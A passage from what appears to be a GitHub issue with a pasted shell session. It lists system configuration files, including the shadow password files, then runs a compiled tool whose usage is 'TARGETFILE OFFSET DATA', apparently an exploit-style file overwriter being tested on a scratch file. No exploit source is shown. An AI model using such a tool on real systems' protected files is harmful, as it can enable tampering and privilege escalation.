-rw-r--r-- 0 user user 2.9K Feb 10  2019 protocols
drwxr-xr-x 0 user user 4.0K Jan 28  2022 python
drwxr-xr-x 0 user user 4.0K Jan 28  2022 python2.7
drwxr-xr-x 0 user user 4.0K Sep 17  2021 python3
drwxr-xr-x 0 user user 4.0K Sep 17  2021 python3.7
drwxr-xr-x 0 user user 4.0K Sep 17  2021 rc0.d
drwxr-xr-x 0 user user 4.0K Sep 17  2021 rc1.d
drwxr-xr-x 0 user user 4.0K Jan 28  2022 rc2.d
drwxr-xr-x 0 user user 4.0K Jan 28  2022 rc3.d
drwxr-xr-x 0 user user 4.0K Jan 28  2022 rc4.d
drwxr-xr-x 0 user user 4.0K Jan 28  2022 rc5.d
drwxr-xr-x 0 user user 4.0K Sep 17  2021 rc6.d
drwxr-xr-x 0 user user 4.0K Sep 17  2021 rcS.d
-rw-r--r-- 0 user user  738 Sep 17  2021 resolv.conf
lrwxrwxrwx 0 user user   13 Apr 23  2019 rmt -> /usr/sbin/rmt
-rw-r--r-- 0 user user  887 Feb 10  2019 rpc
-rw-r--r-- 0 user user 2.0K Feb 26  2019 rsyslog.conf
drwxr-xr-x 0 user user 4.0K Feb 26  2019 rsyslog.d
-rw-r--r-- 0 user user 4.1K Jul 27  2018 securetty
drwxr-xr-x 0 user user 4.0K Sep 17  2021 security
drwxr-xr-x 0 user user 4.0K Sep 17  2021 selinux
-rw-r--r-- 0 user user  19K Feb 10  2019 services
-rw-r----- 0 user user  639 Sep 17  2021 shadow
-rw-r----- 0 user user  613 Sep 17  2021 shadow-
-rw-r--r-- 0 user user  116 Sep 17  2021 shells
drwxr-xr-x 0 user user 4.0K Sep 17  2021 skel
drwxr-xr-x 0 user user 4.0K Jan 28  2022 ssl
-rw-r--r-- 0 user user   18 Sep 17  2021 subgid
-rw-r--r-- 0 user user    0 Sep 17  2021 subgid-
-rw-r--r-- 0 user user   18 Sep 17  2021 subuid
-rw-r--r-- 0 user user    0 Sep 17  2021 subuid-
-rw-r--r-- 0 user user 2.3K May 31  2018 sysctl.conf
drwxr-xr-x 0 user user 4.0K Jan 28  2022 sysctl.d
drwxr-xr-x 0 user user 4.0K Jan 28  2022 systemd
drwxr-xr-x 0 user user 4.0K Sep 17  2021 terminfo
-rw-r--r-- 0 user user    8 Jan 28  2022 timezone
drwxr-xr-x 0 user user 4.0K Mar 18  2021 tmpfiles.d
drwxr-xr-x 0 user user 4.0K Jan 28  2022 udev
drwxr-xr-x 0 user user 4.0K Jan 28  2022 update-motd.d
drwxr-xr-x 0 user user 4.0K Sep 17  2021 vim
-rw-r--r-- 0 user user  642 Mar  1  2019 xattr.conf
drwxr-xr-x 0 user user 4.0K Jan 28  2022 xdg
user@:~$ find /usr -uid 0
user@:~$ ls
a.out  examples  test.c  test2.c
user@:~$ echo abc>n
user@:~$ ./a.out 
Usage: ./a.out TARGETFILE OFFSET DATA
user@:~$ ./a.out abc 1 d
open failed: No such file or directory
user@:~$ ./a.out n 1 d
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant